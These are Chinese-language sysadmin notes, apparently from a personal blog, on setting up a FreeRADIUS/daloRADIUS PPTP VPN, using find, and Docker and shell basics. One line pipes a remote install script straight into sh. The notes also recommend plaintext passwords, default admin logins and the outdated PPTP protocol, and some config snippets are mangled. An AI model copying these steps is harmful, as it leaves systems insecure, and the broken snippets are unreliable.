Radius 数据包: 第一个字节是 code 表示 radius 包的类型. 第二个字节是 identifier 唯一标识符. 由客户端生成. 大概就是客户端 发送的每个包 都有个固定的 唯一标识符. 以便服务器能通过唯一标识符 给你回复信息. 第三,第四个字节 是 length 表示数据包中的内容 一直到哪里是有用的 这个边界外的字节 被认为是填充的可忽略的.

每个数据包 都是由 code 来识别的 code 占一个字节 特定的code 的值 代表这个包的特性和需求

这个消息提供数据来改变一个先有用户session的authorization. 例如, 我们现在可以动态改变每个session的带宽限制. 这让我们可以当互联网连接下降时可以增加每个session的带宽.

RADIUS
code (decimal)
Packet type Sent by
1 Access-Request NAS
2 Access-Accept RADIUS server
3 Access-Reject RADIUS server
4 Accounting-Request NAS
5 Accounting-Response RADIUS server
11 Access-Challenge RADIUS server
12 Status-Server(Experimental)  
13 Status-Client(Experimental)  
255 Reserved  
     
40 Disconnect-Request RADIUS server
41 Disconnect-ACK NAS
42 Disconnect-NAK NAS
43 CoA-Request RADIUS server
44 CoA-ACK NAS
45 CoA-NAK NAS

跳到页首

schema.sql 详解

schema.sql 脚本内容详解:

vi /etc/freeradius/sql/mysql/schema.sql

  • schema: 架构的意思 也就是给 radius 数据库 设置一系列表(和表的结构)
  • 使用方法: 下面命令会 自动加7个表格到 radius 数据库.

    mysql -uroot -prootpass radius < schema.sql

表名 作用
radcheck 用户检查信息表
radreply 用户回复信息表
radgroupcheck 用户组检查信息表
radgroupreply 用户组检查信息表
radusergroup 用户和组关系表
radacct 计费情况表
radpostauth 认证后处理信息,可以包括认证请求成功和拒绝的记录。

FreeRADIUS

官网 : http://freeradius.org

debian 7 下教程: https://ttboa.wordpress.com/2014/09/26/freeradius-on-debian-7/

服务器: Debian 8:

安装freeradius: sudo apt-get install freeradius

开启测试账号密码:(用完后 记得删掉.) vim /etc/freeradius/users 76-84 行 前的# 去掉.

testuser Cleartext-Password := “testpassword”

重启服务 service freeradius restart

查看服务状态: service freeradius status

进行测试 radtest steve testing localhost 0 testing123

如果看到Access-Accept就说明连接成功了。 连接失败 radtest testuser testpassword localhost 0 testing123 radclient: no response from server for ID 25 socket 3

  1. 下载ppp源码,因为要用到其中的配置文件:

    1 # wget ftp://ftp.samba.org/pub/ppp/ppp-2.4.5.tar.gz 2 # tar zxvf ppp-2.4.5.tar.gz 3 # cp -R /root/ppp-2.4.5/pppd/plugins/radius/etc/ /usr/local/etc/radiusclient

  2. 编辑/usr/local/etc/radiusclient/servers,加上一组服务器和密钥,本例中为“MyVPN”: IT网,http://www.it.net.cn 1 # vim /usr/local/etc/radiusclient/servers 2 localhost MyVPN
  3. 编辑/usr/local/etc/radiusclient/dictionary,将最后一行改为:

INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft IT网,http://www.it.net.cn 可以再添加一行: INCLUDE /usr/local/etc/radiusclient/dictionary.merit IT网,http://www.it.net.cn 1 # vim /usr/local/etc/radiusclient/dictionary 2 INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft 3 INCLUDE /usr/local/etc/radiusclient/dictionary.merit

  1. 编辑/etc/raddb/clients.conf,把client localhost段下的secret改成刚才指定的密钥。 Linux学习,http:// linux.it.net.cn
  2. 编辑/etc/raddb/radiusd.conf,找到$INCLUDE sql.conf,去掉前面的#;找到$INCLUDE sql/mysql/counter.conf,去掉前面的#。
  3. 添加MySQL用户及数据库,你可以使用现成的phpMyAdmin等工具,也可以在终端下操作。本例中,创建了radius的用户和同名的数据库:

    1 # mysql -uroot -p 2 (如果有密码,请输入) 3 > CREATE USER ’radius’@’localhost’ IDENTIFIED BY ’***’; 4 > CREATE DATABASE IF NOT EXISTS radius ; 5 > GRANT ALL PRIVILEGES ON radius . * TO ’radius’@’localhost’;

  4. 编辑/etc/raddb/sql.conf,配置login(用户名),password(密码),radius_db(数据库名)等字段,并找到readclients一行,设为yes并去掉注释符号#。

  5. 编辑/etc/raddb/sites-enabled/default,根据下面的说明注释或取消注释相应的行:

    authorize段,关掉files,打开sql,也可以把unix关掉     preacct段,关掉files     accounting段,打开sql,也可以把unix关掉     session段,打开sql     post-auth段,打开sql     pre-proxy段,关掉files IT网,http://www.it.net.cn 到这一步,我们的FreeRADIUS就算配置好了,用户信息都将保存在MySQL数据库中。至于数据库中的表,我们在后面统一导入。 配置daloRADIUS

  1. 首先下载并安装daloRADIUS,其中需要安装一个Pear-DB的包: 1 # wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius-0.9-8/daloradius-0.9-8.tar.gz 2 # pear install DB 3 # mkdir /usr/share/daloRadius 4 # tar zxvf daloradius-0.9-8.tar.gz 5 # mv daloradius-0.9-8/* /usr/share/daloRadius/ 6 # rm -r daloradius-0.9-8
  2. 这时我们将daloRADIUS中附带的sql文件导入MySQL数据库,别忘了输入密码: Linux学习,http:// linux.it.net.cn 1 # mysql -uroot -p radius < /usr/share/daloRadius/contrib/db/fr2-mysql-daloradius-and-freeradius.sql
  3. 编辑/usr/share/daloRadius/library/daloradius.conf.php,这是daloRADIUS的配置文件。首先是MySQL登录信息: 1 # /usr/share/daloRadius/library/daloradius.conf.php 2 $configValues‘CONFIG_DB_HOST’ = ’localhost’; 3 $configValues‘CONFIG_DB_USER’ = ’radius’; 4 $configValues‘CONFIG_DB_PASS’ = ’***’; // 设为自己的密码 5 $configValues‘CONFIG_DB_NAME’ = ’radius’; 下面有一个daloRADIUS的bug,默认配置中有一个表名和我们导入的不一样,把它改过来: $configValues‘CONFIG_DB_TBL_RADUSERGROUP’ = ‘radusergroup’; 然后修改daloRADIUS的路径: $configValues‘CONFIG_PATH_DALO_VARIABLE_DATA’ = ‘/usr/share/daloRadius/var’;

  4. 添加Apache虚拟主机,如果有Web控制面板什么的自然就方便多了,不然就编辑/etc/httpd/conf/httpd.conf,加入: Linux学习,http:// linux.it.net.cn 1 # vim /etc/httpd/conf/httpd.conf 2 Alias /vpn ”/usr/share/daloRadius/” 3 <Directory ”/usr/share/daloRADIUS”> 4 </Directory>
  5. 重启重启Apache和MySQL: Linux学习,http:// linux.it.net.cn 1 # service httpd restart 2 # service mysqld restart
  6. 打开浏览器,进入daloRADIUS的管理页面(本例中为http://your.domain/vpn),使用默认用户名administrator和密码radius登录。 daloRADIUS似乎写的不怎么样,最新稳定版已经是三年之前的了,不过作者直到现在还在更新SVN,下次有机会可以用最新的SVN版本试试看。在Management中添加一个新用户,注意密码类型选择Cleartext-Password。 IT网,http://www.it.net.cn
  7. 在终端里再次启动radius -X,同时在另一个终端中用radtest username password localhost 0 MyVPN测试一下,看看现在是不是还能正常接通,如果没问题就OK,让我们把这套系统接驳到PPP上。 配置pppd

  8. 编辑/etc/ppp/options.pptpd,里面已经有许多配置选项了,我们要保证有下面的几行,如果没有就添加上去,为了保障用户登录的安全我们限制只使用MS-CHAPv2: IT网,http://www.it.net.cn 1 # vim /etc/ppp/options.pptpd 2 refuse-pap 3 refuse-chap 4 refuse-mschap 5 require-mppe-128 6 require-mschap-v2 7   8 # 在配置文件最后加上3行: 9      10 plugin radius.so 11 plugin radattr.so 12 radius-config-file /usr/local/etc/radiusclient/radiusclient.conf 启动服务

  9. 一切完成后我们不需要使用debug模式启动radiusd了: 1 # service radiusd start
  10. 当然,我们可以把radiusd和pptpd设为开机启动服务: 1 # chkconfig radiusd on 2 # chkconfig pptpd on 至此,PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕,我们在本机上使用添加的用户名和密码拨入VPN,可以正常使用。在daloRADIUS中,还可以看到各个用户每次连接的时长,上传和下载的数据量统计等。daloRADIUS其他的使用方法,本文不再叙述。 文章来源于互联网,具体链接一时忘记未有记下。。。如下几点则为具体配置中所出现的问题及解决方法

1、执行第十三点时报如下错误:

pear not found

经谷歌,解决方法如下:

1 # yum install php-pear 2 # pear upgrade PEAR 2、daloRadius登录界面,用户名为administrator,没记错的话密码是radius。修改密码到config->Opeartors修改。 Linux学习,http:// linux.it.net.cn 3、MySQL错误:Database connection error Error Message: DB Error: extension not found 解决方法:

1 # yum install php-mysql -y 4、无法连接MySQL:Database connection error Error Message: DB Error: connect failed

1 # vim /usr/share/daloRadius/library/daloradius.conf.php 2 # $configValues‘CONFIG_DB_HOST’ = ’127.0.0.1’; # 默认为 localhost 5、无法拨入,客户端报691错误: IT网,http://www.it.net.cn 1 # vim /usr/local/etc/radiusclient/dictionary 2 #INCLUDE /etc/radiusclient/dictionary.microsoft 3 INCLUDE /usr/local/etc/radiusclient/dictionary.merit 4 INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft 5 INCLUDE /usr/local/etc/radiusclient/dictionary.ascend 6 INCLUDE /usr/local/etc/radiusclient/dictionary.compat  

PS:添加流量控制:

1、建立表格

1 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Auth-Type’,’:=’,’Local’); 2 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Service-Type’,’:=’,’Framed-User’); 3 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Framed-IP-Address’,’:=’,’255.255.255.255’); 4 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Framed-IP-Netmask’,’:=’,’255.255.255.0’); 5 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Acct-Interim-Interval’,’:=’,’600’); 6 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Max-Monthly-Traffic’,’:=’,’5368709120’); 7 > INSERT INTO radgroupcheck (groupname,attribute,op,VALUE) VALUES (‘user’,’Simultaneous-Use’,’:=’,’1’); 以上前四行不用改动,acct-interim-interval是计算流量的间隔(600秒),意味着每隔10分钟记录当前流量。倒数第二行是每月最大流量,这里是5G(单位是字节)。最后一行是允许同时连接数目。 IT网,http://www.it.net.cn 2、修改配置

1 # vim /etc/raddb/sql/mysql/dialup.conf 2 sql_user_name = ”%%{Stripped-User-Name:-%%{User-Name:-none}}” 3 # 取消前面的注释并注释下一行 4 # 同时如果需要打开simultanoues-use(控制同时在线用户数)的话需要把simul_query_check取消注释。 3、输入测试用户信息: 1 > INSERT INTO radcheck (username,attribute,op,VALUE) VALUES (‘test’,’Cleartext-Password’,’:=’,’test’); 2 > INSERT INTO radusergroup (username,groupname) VALUES (‘test’,’user’); (用户名与密码必须以明文/NTLM Crypt形式保存,因为MS-CHAPv2不支持MD5保存的密码。) IT网,http://www.it.net.cn 4、由于上步中有非内置的attribute Max-Monthly-Traffic,所以需要在/usr/local/etc/raddb/dictionary里面定义:

ATTRIBUTE Max-Monthly-Traffic 3003 integer IT网,http://www.it.net.cn 5、初步测试: IT网,http://www.it.net.cn 1 # /etc/init.d/freeradius stop 2 # radiusd -X > 3 # radtest test test localhost 1649 testing123 如果结果中有Access-Accept就代表成功了,否则退回去检查设置。

6、测试成功的话添加在认证时检测流量的语句,打开/usr/local/etc/raddb/sites-enabled/default,找到authorize一节插入:

1 # vim /usr/local/etc/raddb/sites-enabled/default 2     update request { 3     Group-Name := ”%sql:SELECT groupname FROM radusergroup WHERE username=’%{User-Name’ ORDER BY priority}” 4     } 5     if (“%sql: SELECT SUM(acctinputoctets+acctoutputoctets) FROM radacct WHERE username=’%{User-Name’ AND date_format(acctstarttime, ’%Y-%m-%d’) >= date_format(now(),’%Y-%m-01’) AND date_format(acctstoptime, ’%Y-%m-%d’) <= last_day(now());}” >= ”%sql: SELECT value FROM radgroupreply WHERE groupname=’%{Group-Name’ AND attribute=’Max-Monthly-Traffic’;}”) { 6     reject 7     } 7、设置radiusclient:

打开/usr/local/etc/radiusclient/radiusclient.conf,修改

authserver localhost:1812 acctserver localhost:1813

修改server:

最后加上localhost secret(就是FreeRadius的client.conf里面定义的secret)

修改dictionary:

最后加上 IT网,http://www.it.net.cn INCLUDE /usr/local/etc/radiusclient/dictionary.merit INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft Linux学习,http:// linux.it.net.cn 如果没有dicitionary.microsoft的话看这里:http://wiki.freeradius.org/PopTop

8、启动服务

1 # service radiusd start 2 # chkconfig radiusd on 3 # chkconfig pptpd on 至此,完成了所有配置了。。。 Linux学习,http:// linux.it.net.cn (责任编辑:IT)

客户端 安装客户端 1.1.7 http://freeradius.org/freeradius-client/

接下来 是防火墙的联动 这个暂且不详细说,每个厂商的防火墙配置方法都不同,思路是差不多的,客户端如果想完成认证,必须通过radius认证,这个时候,pc的数据包到达防火墙后,防火墙会把客户端丢过来的认证信息发送到radius服务器上面,由radius服务器去辨别是否通过认证

  6.radius里关键的配置文件为radius.conf 与clients.conf                radius.conf:这个文件记录的是radius服务相关的信息,包括服务器监听的接口、允许认证的客户端IP等                clients.conf:定义客户端与服务器之间的共享密钥,认证信息等

@: 2014-11-11-Font - Mac — layout: post title: Font - Mac tags: Font categories: 👓-Linux —

等宽字体 ubuntu mono 两个英文=一个中文 下载 解压 双击安装就能用了.

Find - Kali/Debian

find + 搜索路径 + 语法(文件名关键字)

路径: / ~ .(当前目录下)

-name
-name  大小写敏感 -iname 大小写不敏感

  • find ~ -name itr.txt

    home目录下找文件

  • find . -name itr.txt

    当前目录下寻找

  • find . -name “[A-Z]*”

    找 一个大写字母开头文件.

  • find / -name "*"

    让系统高负荷运行!!!
    从根目录开始查找所有文件.

  • find /etc -name "host"

    /etc 中查找 host 开头文件.

-perm 按照权限模式查找:

  • find . -perm 755 找出当前目录下 权限是755的文件.

    • find . -perm 777 找出当前目录下 权限是777的文件

如:home 目录下 找 *.log

mtime,atime,ctime 安装 文件 修改时间 找

- -5 表示5天内 + +5 表示5天前

       which  查看可执行文件的位置。        whereis 查看文件的位置。         locate   配合数据库查看文件位置。        find   实际搜寻硬盘查询文件名称。 which命令的作用是,在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。  1.命令格式: which 可执行文件名称  2.命令功能: which指令会在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。 3.命令参数: -n  指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名。 -p  与-n参数相同,但此处的包括了文件的路径。 -w  指定输出时栏位的宽度。 -V  显示版本信息 4.使用实例: 实例1:查找文件、显示命令路径 命令: which lsmod     用 which 去找出 which 命令:   which which     找出 cd 这个命令 命令:  which cd     find 高效+简单 whereis which locate 如: 一个 硬盘卸载不了 fuser -km /dev/sdb1

然后卸载

lsof ## File Type Linux 一切皆文件. .mp3 .c .h LCD 触摸屏 鼠标 网络文件(socket) 等等 都是文件.

普通文件(数据文件) 存数据/程序信息.

  • 文本文件
    • 二进制文件

目录文件

设备文件 操作系统与设备 提供链接的一种文件. Linux: 把设备当做文件来出来. 操作文件就可以操作设备. 每个设备对应一个设备文件.都在 /dev 目录中

链接文件 Win 下的快捷方式.

  • 软链接 / 符号链接
    • 硬链接

管道文件 在进程间传递数据的一种特殊文件.

套接口文件 不同计算机之间 网络通信的一种特殊文件.

File Permission Linux

linux 文件/目录: 权限 所有者

权限: (分别用r、w、x或4、2、1表示)

  • 读取r: 查看文件内容、显示目录列表。
    • 写入w: 修改文件,新建、移动、删除文件或子目录。
    • 执行x: 允许运行程序、切换目录。

    所有者 拥有该文件的用户账户(属主) 拥有该文件的组账户 (属组)   如下:使用“ls -ld”命令可以查看“/etc/inittab”文件的属性,属性中包括了该文件的权限和归属等参数。

在上述的输出的信息中,第14个字段的数据分别表示文件的属性信息。解释如下: 第1字段:第1个字符表示文件的类型,d(目录)、b(块设备)、c(字符设备)“-”(普通文件)、“I”(链接文件)。第24个字符表示属主的访问权限。第57个字符表示属组访问权限。第810个字符表示其他用户的访问权限。 第2字段:表示此文件的链接数量。(硬链接和软链接) 第3字段:表示此文件的属主。 第4字段:表示此文件的属组。 在表示属主、属组内用户或其他用户对该文件的访问权限时,主要使用了三种不同的权限字符:r、w、x。分别表示读取、写入、执行,(还可以使用4、2、1表示)若为“-”时则表示减除该权限。字符形式和数字形式的关系如下图:

如上所述表示一个权限组合时需要将数字进行累加。列如:“rwx”表示为“7”,“r-x”表示为“5”,而“rwxr-xr-x”由三个权限段组成,因此可以表示成“775”,“rw-r–r–”则表示为“644”。 设置目录和文件的权限
chmod命令——设置目录或文件的权限 方法一:
chmod ugoa +-= rwx 文件或目录
“ugoa”:表示该权限设置所针对的用户类别。“u”代表属主,“g”代表属组,“o”代表其他用户,“a”代表所有用户(即ugo的总和)。
“+-=”:表示设置权限的操作动作。“+”加相应的权限,“-”减相应的权限,“=”代表设置相应的权限。
“rwx”:权限的组合形式,也可以拆分使用。如“rx”、“rw”。
如下:给上面的“inittab”文件设置宿主具有写入权限。

方法二:
chmod nnn 文件或目录
“nnn”:代表权限的数字形式。列如“644”。
如下:还可以使用数字形设置“inittab”文件,属主读写权限,属组读写权限,其他用户读权限。

在使用chmod设置目录权限的时候还经常需要给同一目录下的所有文件设置相同的权限,这时需要使用参数“-R”,表示递归修改目录的权限。(注:通常方法二比较常用。) 设置目录和文件的归属
chown命令——设置目录或文件的归属
chown 属主 :属组 文件或目录
如下:设置“inittab”文件的属组为benet组。

如果同时设置属主、属组时,用户名和组名之间用分号“:”进行分隔。如果只设置属组时,需要使用“:属组”的形式。
如果只需要设置目录或文件的属主,直接以用户名表示归属即可,递归修改目录归属同样可以使用“-R”选项

File - Linux

Touch → file mkdir → Folder

File Time

访问时间 修改时间 状态改动时间

查看时间信息:

stat xu.txt :~# stat xujian.txt File: ‘xujian.txt’ Size: 0 Blocks: 0 IO Block: 4096 regular empty file Device: 801h/2049d Inode: 1231468 Links: 1 Access: (0644/-rw-r–r–) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2016-07-26 17:10:41.492000000 +0800 // 访问时间 Modify: 2016-07-26 17:10:41.492000000 +0800 // 修改时间 Change: 2016-07-26 17:10:41.492000000 +0800 // 状态改动时间 Birth: -

stat *

当前文件夹所有文件的时间信息

Touch

  • 文件存在: 修改文件的存储时间/更改时间
  • 文件不存在: 新建文件

touch xu.txt 文件存在: 各项文件的 存取和修改时间. 文件不存在: 新建 xu.txt file

touch -c xu.txt 文件不存在: 不新建文件!

touch ~/Desktop/xu/ xx.txt 在 xu 文件夹下 新建 xx.txt 文件.

Docker: 官方文档中心

docker run --name mysql -d kali /bin/sh -c "while true; do echo hello world; sleep 1; done

运行中的容器 开 终端

容器重命名 docker rename old-name new-name

**详细命令 docker + 回车

查找镜像:

下载镜像 docker pull kalilinux/kali-linux-docker

**删除镜像 docker images → rmi ID.

能删除镜像的前提是 没有容器用这个镜像!!! 有人在用(哪怕那个容器现在是关机的也不行) 肯定不给删除的. **创建/删除 容器 docker run/rm id

**容器操作: docker start/stop/restart kali

创建交互容器: docker run -t -i kali /bin/bash

这里要输入完整的 镜像名字. **重命名镜像. docker tag kalilinux/kali-linux-docker kali 把很长的镜像名字 改成短的.

启动容器: docker run kali /bin/bash 运行什么镜像 运行什么命令. -t 新容器内指定一个终端 -i 允许 我们对容器内的 STDIN 进行交互. /bin/bash 在容器内 启动 bash 这个 shell.

一旦退出 bash 你的容器就停止了!!!

**看本地镜像: Docker images

docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE training/webapp latest fc77f57ad303 3 weeks ago 280.5 MB ubuntu 13.10 5e019ab7bf6d 4 weeks ago 180 MB 镜像源. 镜像标签. 镜像 ID

**容器: docker ps

docker ps -a 所有容器 哪怕已经关闭的容器

重命名镜像名  docker tag 468e6235b128 kali:latest tag + ID + Name:latest → 默认官方名字 改成 kali

开关启 Docker  docker run / stop kali -i -t ( Contain name ) 运行中的镜像  docker ps 需要新开 docker 终端 执行.

保存&启动 容器 其实是新加标签 类似 git . 要养成给容器打标签的习惯.

Upgrade Docker apt-get upgrade docker-engine service docker status/start

Docker 镜像

镜像是基础, 如果本地不存在镜像,会自动从 Docker 镜像仓库去下载. 镜像 相当于 迷你操作系统.

info: docker info

Docker IP ip addr 看容器ip nmap Container IP 扫描容器端口. telnet / ssh 容器 IP. ( 前提是 docker 允许 ssh 连接. 默认是不允许的.)

Docker SSH

  • 轻量级虚拟机! 是一个进程 不是一台机器.
  • 两个程序 服务端 和 客户端. 服务端管理所有容器.

Docker 会为所有已经运行(包括已经停止)的容器随机分配一个唯一的名字和一个唯一的 ID, docker 命令可以识别 ID,也可以识别这个名字。 docker ps -a 来显示

每次运行 docker run 命令的时候,Docker 都会新建一个唯一的容器ID , → 不同的容器 数据是不通的… 已经停止的容器 里面的数据不会消失 用 docker ps -a 显示.

现在我们使用 -i(交互式)和 -t(临时终端)参数运行一个容器,然后输入一些交互命令:

Mac :

Docker 不原生支持Mac → So go 官网 Download: Docker Toolbox .帮你配置环境.

使用:

  • Docker Quickstart Terminal // 运行 docker 命令 要在这里输入. 因为 mac 不能支持原生 docker . 需要通过虚拟机来实现.

    docker inspect 698 容器的详细信息.

备份镜像 docker push xujian

删除容器 docker rm 43de70a54ec1,或者简写成 docker rm 43de 来释放空间.

删除镜像: docker rmi xujian // 如果有容器(即便已经停止) 存在. 那么就不能删除镜像. 不然暂停的容器就起不来.

新建 Docker 切换到 docker 管理容器

docker run -it ubuntu bash
// 就能进到 ubuntu 的 bash 了 能输入各种命令.

docker run ubuntu
docker → 你要使用 docker
run  → 开启 运行
ubuntu → 镜像名称 

找到镜像: 去 docker 官网看. https://hub.docker.com/explore/

下载 mysql docker pull mysql

下载 debian docker pull debian

在 docker 中运行 hello world docker run debian echo ‘‘hello world’’

在容器中安装程序:

保存容器:

  1. 查看容器的 ID : docker ps 只需前几位id就好 docker commit 698 ubuntu

每次运行 都是一个新的容器.

删除容器: 先停止 再删除 docker stop ubuntu docker rm ubuntu

— 基本概念. 镜像 image 容器 container 仓库 repository

镜像 只读模板. 自己可以很方便的创建 更新 镜像!!!!

容器;(简易的 linux 环境.) docker 利用容器运行. 是镜像创建的 运行实例. 可以 启动 开始 停止 删除. 每个容器都是相互隔离的.

仓库:存放镜像的地方. 仓库

  • Public 公开仓库 //Docker Hub 最大的公开仓库.
    • Private 私有仓库

用户创建了 自己的镜像后 可以哟吗 push 到私有或者公有仓库. 在另一台电脑用的时候 只要.pull 下来就好了.

容器:

  • 创建新的容器 docker run
  • 重启已停止的容器. docker start
  • 很多时候 都是随时删除 和 创建新的容器.

后台: background

-d

**容器是否会长久运行,是和docker run指定的命令有关,和 -d 参数无关。

查看容器输出信息: docker logs ID

导出容器: docker export id > xxx.rar

**标记镜像 docker tag xxx xxxxxxxx

docker 数据管理

  • 数据卷.
    • 数据卷容器.

数据卷: 可以给多个容器使用的,多个容器之间共享.

创建数据卷 输出数据卷

挂载本地文件 作为数据卷.

网络功能:

-p 指定端口映射. 到 web 界面.

容器互联.

**容器名: sudo docker run -d -P –name web training/webapp python app.py

docker 启动时 会自动创建一个 虚拟网桥.(软件交换机)

交互式容器: 命令终止了 容器就关闭了

守护式容器

可以长期运行的容器.适合 运行 应用程序 和 服务.!!!!

用 kali 镜像 创建一个叫 mysql 的容器.

docker run --name mysql -d kali /bin/sh -c "while true; do echo hello world; sleep 1; done

这个容器会在后台运行. 用了一个 while 循环. 会一直 打印 helloworld .

后台运行的容器 可以用 docker logs mysql 查看日志. 查看容器内的进程 docker top mysql

*容器的更多信息 docker inspect mysql

构建自己的镜像 docker build -t <镜像名> <Dockerfile路径> 如Dockerfile在当前路径: docker build -t xx/gitlab .

查看主机 ip 信息 docker inspect nginx_dist |grep 172.17 “Gateway”: “172.17.42.1”, “IPAddress”: “172.17.42.6”,

vim-tiny vim-common 版本.

会有莫名其妙的问题.比如键盘方向键不能用.

**卸载预装的 vim:

apt-get remove vim-common

**安装vim-full 版本.

apt-get install vim

新建容器 run 启动容器 start

查看镜像 images 删除容器/镜像 rm rmi

创建新 image

标签: 为镜像起一个容易理解的名字.

docker ps 显示当前正在运行中的container docker ps -a 查看包括已经停止的所有容器 docker ps -l 显示最新启动的一个容器(包括已停止的)

容器运行的进程 top

Debian PPTP

经典教程链接:

安装 PPTP apt-get install pptpd

  1. 升级本地软件包 apt-get update (类似检查更新 可忽略)

    配置 PPTP vi /etc/pptpd.conf

将文件底部 最后两行 改为:  localip 192.168.217.1 remoteip 192.168.217.234-238,192.168.217.245   第一行:这个是连接 VPN 成功后 vpn 服务器的 IP 地址,随便写,但不要和本地 路由器分配的IP 地址冲突就行。 第二行:这个是连接 VPN 成功后 本地客户端 的 IP 地址, 相当于路由器的 DHCP 功能.

添加 VPN 帐户 vi /etc/ppp/chap-secrets

  用户名 pptpd 你的密码 *(别忘记最后这个星号) 一行一个账户+密码 例子: xujian pptp 0219 *

 

修改 DNS 服务器 vi /etc/ppp/options

找到 两行ms-dns (12 13 行) 去掉#号 更改成如下内容 ms-dns 8.8.8.8 ms-dns 8.8.4.4

开启 IPv4 转发 vi /etc/sysctl.conf

去掉 net.ipv4.ip_forward=1 前的注释(28行), 然后运行 sysctl -p 使配置生效

重启 PPTP 服务

/etc/init.d/pptpd restart

安装 iptables apt-get install iptables

开启iptables转发

iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE

iptables-save > /etc/iptables.pptp  

手动在/etc/network/if-up.d/目录下创建iptables文件 写入内容 并给与运行权限

cd /etc/network/if-up.d/ cd 到目录 touch iptables 新建文件 vi iptables 编辑文件

添加如下内容: 然后保存退出 #!/bin/sh iptables-restore < /etc/iptables.pptp

给脚本添加执行权限: chmod +x /etc/network/if-up.d/iptables

连接不上: mac → 系统信息 → 日志 → vpn 日志

经典教程链接:

安装 PPTP apt-get install pptpd

  1. 升级本地软件包 apt-get update (类似检查更新 可忽略)

配置 PPTP vi /etc/pptpd.conf

将文件底部 最后两行 改为:  localip 192.168.217.1 remoteip 192.168.217.234-238,192.168.217.245   第一行:这个是连接 VPN 成功后 vpn 服务器的 IP 地址,随便写,但不要和本地 路由器分配的IP 地址冲突就行。 第二行:这个是连接 VPN 成功后 本地客户端 的 IP 地址, 相当于路由器的 DHCP 功能.

添加 VPN 帐户 vi /etc/ppp/chap-secrets

  用户名 pptpd 你的密码 *(别忘记最后这个星号) 一行一个账户+密码 例子: xujian pptp 0219 *

 

修改 DNS 服务器 vi /etc/ppp/options

找到 两行ms-dns (12 13 行) 去掉#号 更改成如下内容 ms-dns 8.8.8.8 ms-dns 8.8.4.4

开启 IPv4 转发 vi /etc/sysctl.conf

去掉 net.ipv4.ip_forward=1 前的注释(28行), 然后运行 sysctl -p 使配置生效

重启 PPTP 服务

/etc/init.d/pptpd restart

安装 iptables apt-get install iptables

开启iptables转发

iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE

iptables-save > /etc/iptables.pptp  

手动在/etc/network/if-up.d/目录下创建iptables文件 写入内容 并给与运行权限

cd /etc/network/if-up.d/ cd 到目录 touch iptables 新建文件 vi iptables 编辑文件

添加如下内容: 然后保存退出 #!/bin/sh iptables-restore < /etc/iptables.pptp

给脚本添加执行权限: chmod +x /etc/network/if-up.d/iptables

连接不上: mac → 系统信息 → 日志 → vpn 日志

  • 防火墙设置 ————————iptables -L
  • 所有安装软件 ———————rpm -qa
  • CPU 信息 ———————— cat /proc/cpuinfo
  • 主机名(改名) ——————— hostname ( sudo hostname xx )
  • 系统运行信息 —————— uptime
  • 活动用户 ———————— w
  • 硬盘硬件信息 —————— cat /proc/partitions
  • 硬盘分区信息 —————— fdisk -l
  • 内存硬件信息 —————— cat /proc/meminfo
  • 内存信息 ———————— free -m
  • 路由表信息 ——————— route -n
  • 所有监听端口—————— netstat -lntp
  • 查看已建立连接————— netstat -antp
  • 网络统计信息 —————— netstat -s
  • 显示进程(静态) —————— ps -ef
  • 显示进程(动态) —————— top
  • 用户的信息(群组/权限) ——— id xujian
  • 用户登录日志 ——————— last
  • 当前用户计划任务 ————— crontab -l
  • 所有系统服务——————— chkconfig -list

##

Shell Description :

与操作系统核心 kernel (管理硬件)沟通的工具.通用性极强.

Shell Classify :

  • Bash → Linux 预设 shell
  • Fish → 小众 shell 90后适用
  • ZSH → 功能更强大的 shell

**安装&设置 Fish 为默认 Shell:

  • 先安装新版本 shell ( zsh fish ….)
  • /etc/shells 文件末尾添加 /usr/local/bin/fish
  • 执行命令:  chsh -s /usr/local/bin/fish

**安装&设置 ZSH 为默认 Shell:

  • Mac 安装ZSH     brew install zsh
    1. vi /etc/shells
    2. 文件末尾添加下面内容
    3. /usr/local/bin/zsh
    4. 执行: chsh -s /usr/local/bin/zsh
安装oh-my-zsh* curl -L https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh | sh

oh-my-zsh 主题修改:  /.zshrc文件中的ZSHTHEME即可,选择自己喜欢的主题。

=====

终端机 tty

变量的取用 echo $PATH 设定变量 myname=VBird
echo $myname
VBird <==出现了!因为这个发量已经被讴定了!

变量内容若有空格符可使用双引号『”』或者单引号『’』将发量内容结合起来, 双引号内的特殊字符如 $ 等,可以保有原本癿特性,如下所示: 『var=”lang is $LANG”』则『echo $var』可得『lang is en_US』 单引号内癿特殊字符则仅为一般字符 (纯文本),如下所示: 『var=’lang is $LANG’』则『echo $var』可得『lang is $LANG』

整体系统默认 bash定义在 /etc/sysconfig/i18n

locale LANG=”zh_CN.UTF-8” LC_COLLATE=”zh_CN.UTF-8” LC_CTYPE=”zh_CN.UTF-8” LC_MESSAGES=”zh_CN.UTF-8” LC_MONETARY=”zh_CN.UTF-8” LC_NUMERIC=”zh_CN.UTF-8” LC_TIME=”zh_CN.UTF-8” LC_ALL=

                                                                                                                Ctrl +C 终止目前癿命令 Ctrl +D 输入结束 (EOF),例如邮件结束癿时候; Ctrl +M 就是 Enter 啦! Ctrl +U 在提示字符下,将整列命令初除 Ctrl +Z 『暂停』目前癿命令

